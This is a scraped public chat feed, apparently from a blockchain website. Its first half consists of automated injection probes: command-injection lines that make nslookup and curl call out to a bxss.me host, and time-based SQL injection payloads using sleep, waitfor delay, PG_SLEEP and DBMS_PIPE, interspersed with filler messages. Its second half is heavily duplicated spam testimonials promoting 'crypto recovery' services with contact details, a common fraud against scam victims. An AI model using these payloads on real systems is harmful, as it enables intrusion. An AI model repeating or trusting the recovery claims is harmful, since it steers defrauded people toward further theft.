    "+response.write(9043995*9352716)+"

  • 09.10.25 08:17 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:17 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:17 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:18 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:18 pHqghUme

    $(nslookup -q=cname hitconyljxgbe60e2b.bxss.me||curl hitconyljxgbe60e2b.bxss.me)

  • 09.10.25 08:18 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:18 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:18 pHqghUme

    |(nslookup -q=cname hitrwbjjcbfsjdad83.bxss.me||curl hitrwbjjcbfsjdad83.bxss.me)

  • 09.10.25 08:18 pHqghUme

    |(nslookup${IFS}-q${IFS}cname${IFS}hitmawkdrqdgobcdfd.bxss.me||curl${IFS}hitmawkdrqdgobcdfd.bxss.me)

  • 09.10.25 08:18 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:19 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:20 pHqghUme

    e

  • 09.10.25 08:20 pHqghUme

    e

  • 09.10.25 08:21 pHqghUme

    e

  • 09.10.25 08:21 pHqghUme

    e

  • 09.10.25 08:21 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:22 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:22 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:22 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:22 pHqghUme

    if(now()=sysdate(),sleep(15),0)

  • 09.10.25 08:22 pHqghUme

    can I ask you a question please?0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

  • 09.10.25 08:23 pHqghUme

    can I ask you a question please?0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

  • 09.10.25 08:23 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:23 pHqghUme

    (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

  • 09.10.25 08:24 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:24 pHqghUme

    e

  • 09.10.25 08:24 pHqghUme

    can I ask you a question please?-1 waitfor delay '0:0:15' --

  • 09.10.25 08:25 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:25 pHqghUme

    e

  • 09.10.25 08:25 pHqghUme

    e

  • 09.10.25 08:25 pHqghUme

    e

  • 09.10.25 08:25 pHqghUme

    can I ask you a question please?9IDOn7ik'; waitfor delay '0:0:15' --

  • 09.10.25 08:26 pHqghUme

    can I ask you a question please?MQOVJH7P' OR 921=(SELECT 921 FROM PG_SLEEP(15))--

  • 09.10.25 08:26 pHqghUme

    e

  • 09.10.25 08:27 pHqghUme

    can I ask you a question please?64e1xqge') OR 107=(SELECT 107 FROM PG_SLEEP(15))--

  • 09.10.25 08:27 pHqghUme

    can I ask you a question please?ODDe7Ze5')) OR 82=(SELECT 82 FROM PG_SLEEP(15))--

  • 09.10.25 08:28 pHqghUme

    can I ask you a question please?'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

  • 09.10.25 08:28 pHqghUme

    can I ask you a question please?'"

  • 09.10.25 08:28 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:28 pHqghUme

    @@olQP6

  • 09.10.25 08:28 pHqghUme

    (select 198766*667891 from DUAL)

  • 09.10.25 08:28 pHqghUme

    (select 198766*667891)

  • 09.10.25 08:30 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:33 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:34 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:34 pHqghUme

    if(now()=sysdate(),sleep(15),0)

  • 09.10.25 08:35 pHqghUme

    e

  • 09.10.25 08:36 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:36 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:37 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:37 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:37 pHqghUme

    e

  • 09.10.25 08:37 pHqghUme

    e

  • 09.10.25 08:40 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:40 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:41 pHqghUme

    e

  • 09.10.25 08:41 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:42 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:42 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:42 pHqghUme

    e

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 11.10.25 04:41 luciajessy3

    Don’t be deceived by different testimonies online that is most likely wrong. I have made use of several recovery options that got me disappointed at the end of the day but I must confess that the tech genius I eventually found is the best out here. It’s better you devise your time to find the valid professional that can help you recover your stolen or lost crypto such as bitcoins rather than falling victim of other amateur hackers that cannot get the job done. ADAMWILSON . TRADING @ CONSULTANT COM / WHATSAPP ; +1 (603) 702 ( 4335 ) is the most reliable and authentic blockchain tech expert you can work with to recover what you lost to scammers. They helped me get back on my feet and I’m very grateful for that. Contact their email today to recover your lost coins ASAP…

  • 11.10.25 10:44 Tonerdomark

    A thief took my Dogecoin and wrecked my life. Then Mr. Sylvester stepped in and changed everything. He got back €211,000 for me, every single cent of my gains. His calm confidence and strong tech skills rebuilt my trust. Thanks to him, I recovered my cash with no issues. After months of stress, I felt huge relief. I had full faith in him. If a scam stole your money, reach out to him today at { yt7cracker@gmail . com } His help sparked my full turnaround.

  • 12.10.25 01:12 harristhomas7376

    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 12.10.25 01:12 harristhomas7376

    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 12.10.25 19:53 Tonerdomark

    A crook swiped my Dogecoin. It ruined my whole world. Then Mr. Sylvester showed up. He fixed it all. He pulled back €211,000 for me. Not one cent missing from my profits. His steady cool and sharp tech know-how won back my trust. I got my money smooth and sound. After endless worry, relief hit me hard. I trusted him completely. Lost cash to a scam? Hit him up now at { yt7cracker@gmail . com }. His aid turned my life around. WhatsApp at +1 512 577 7957.

  • 12.10.25 21:36 blessing

    Writing this review is a joy. Marie has provided excellent service ever since I started working with her in early 2018. I was worried I wouldn't be able to get my coins back after they were stolen by hackers. I had no idea where to begin, therefore it was a nightmare for me. However, things became easier for me after my friend sent me to [email protected] and +1 7127594675 on WhatsApp. I'm happy that she was able to retrieve my bitcoin so that I could resume trading.

  • 13.10.25 01:11 elizabethrush89

    God bless Capital Crypto Recover Services for the marvelous work you did in my life, I have learned the hard way that even the most sensible investors can fall victim to scams. When my USD was stolen, for anyone who has fallen victim to one of the bitcoin binary investment scams that are currently ongoing, I felt betrayal and upset. But then I was reading a post on site when I saw a testimony of Wendy Taylor online who recommended that Capital Crypto Recovery has helped her recover scammed funds within 24 hours. after reaching out to this cyber security firm that was able to help me recover my stolen digital assets and bitcoin. I’m genuinely blown away by their amazing service and professionalism. I never imagined I’d be able to get my money back until I complained to Capital Crypto Recovery Services about my difficulties and gave all of the necessary paperwork. I was astounded that it took them 12 hours to reclaim my stolen money back. Without a doubt, my USDT assets were successfully recovered from the scam platform, Thank you so much Sir, I strongly recommend Capital Crypto Recover for any of your bitcoin recovery, digital funds recovery, hacking, and cybersecurity concerns. You reach them Call/Text Number +1 (336)390-6684 His Email: [email protected] Contact Telegram: @Capitalcryptorecover Via Contact: [email protected] His website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 13.10.25 01:11 elizabethrush89

    God bless Capital Crypto Recover Services for the marvelous work you did in my life, I have learned the hard way that even the most sensible investors can fall victim to scams. When my USD was stolen, for anyone who has fallen victim to one of the bitcoin binary investment scams that are currently ongoing, I felt betrayal and upset. But then I was reading a post on site when I saw a testimony of Wendy Taylor online who recommended that Capital Crypto Recovery has helped her recover scammed funds within 24 hours. after reaching out to this cyber security firm that was able to help me recover my stolen digital assets and bitcoin. I’m genuinely blown away by their amazing service and professionalism. I never imagined I’d be able to get my money back until I complained to Capital Crypto Recovery Services about my difficulties and gave all of the necessary paperwork. I was astounded that it took them 12 hours to reclaim my stolen money back. Without a doubt, my USDT assets were successfully recovered from the scam platform, Thank you so much Sir, I strongly recommend Capital Crypto Recover for any of your bitcoin recovery, digital funds recovery, hacking, and cybersecurity concerns. You reach them Call/Text Number +1 (336)390-6684 His Email: [email protected] Contact Telegram: @Capitalcryptorecover Via Contact: [email protected] His website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 14.10.25 01:15 tyleradams

    Hi. Please be wise, do not make the same mistake I had made in the past, I was a victim of bitcoin scam, I saw a glamorous review showering praises and marketing an investment firm, I reached out to them on what their contracts are, and I invested $28,000, which I was promised to get my first 15% profit in weeks, when it’s time to get my profits, I got to know the company was bogus, they kept asking me to invest more and I ran out of patience then requested to have my money back, they refused to answer nor refund my funds, not until a friend of mine introduced me to the NVIDIA TECH HACKERS, so I reached out and after tabling my complaints, they were swift to action and within 36 hours I got back my funds with the due profit. I couldn’t contain the joy in me. I urge you guys to reach out to NVIDIA TECH HACKERS on their email: [email protected]

  • 14.10.25 08:46 robertalfred175

    CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: 📧 Email: [email protected] 📱 Telegram: @Capitalcryptorecover Contact: [email protected] 📞 Call/Text: +1 (336) 390-6684 🌐 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 14.10.25 08:46 robertalfred175

    CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: 📧 Email: [email protected] 📱 Telegram: @Capitalcryptorecover Contact: [email protected] 📞 Call/Text: +1 (336) 390-6684 🌐 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 14.10.25 08:46 robertalfred175

    CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: 📧 Email: [email protected] 📱 Telegram: @Capitalcryptorecover Contact: [email protected] 📞 Call/Text: +1 (336) 390-6684 🌐 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 15.10.25 18:07 crypto

    Cryptocurrency's digital realm presents many opportunities, but it also conceals complex frauds. It is quite painful to lose your cryptocurrency to scam. You can feel harassed and lost as a result. If you have been the victim of a cryptocurrency scam, this guide explains what to do ASAP. Following these procedures will help you avoid further issues or get your money back. Communication with Marie ([email protected] and WhatsApp: +1 7127594675) can make all the difference.

  • 15.10.25 21:52 harristhomas7376

    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 15.10.25 21:52 harristhomas7376

    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

Для участия в Чате вам необходим бесплатный аккаунт pro-blockchain.com Войти Регистрация
Есть вопросы?
С вами на связи 24/7
Help Icon